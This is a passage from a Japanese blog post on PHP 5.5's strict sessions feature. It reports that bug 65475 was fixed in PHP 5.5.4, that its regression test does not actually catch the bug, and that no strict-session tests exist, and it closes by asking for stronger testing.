PHP5.5.1からPHP5.5.2(strict sessionsが実装された)で、ext/session/tests内のテスト(*.phpt)は197で増えていません。PHP5.5.4でphptの数は200に増えましたが、上記の他にbug65359に関するもののようです。

まとめ

  • PHP5.5.4にてstrict sessionのバグ(65475)が修正され、ようやくstrict sessionsが使えるようになった
  • 上記バグに関するテストbug65475.phptにはバグがあり、PHP5.5.3以前でもFAILしない
  • PHP5.5.4までの時点で、strict sessionsに関するテストが1つも存在しない
ということで、strict sessionsはとりあえず使えるようになりましたが、テストが一つもない状態は今後の品質上不安ですので、テストを強化することを希望します。
Viewing all 194 articles
Browse latest View live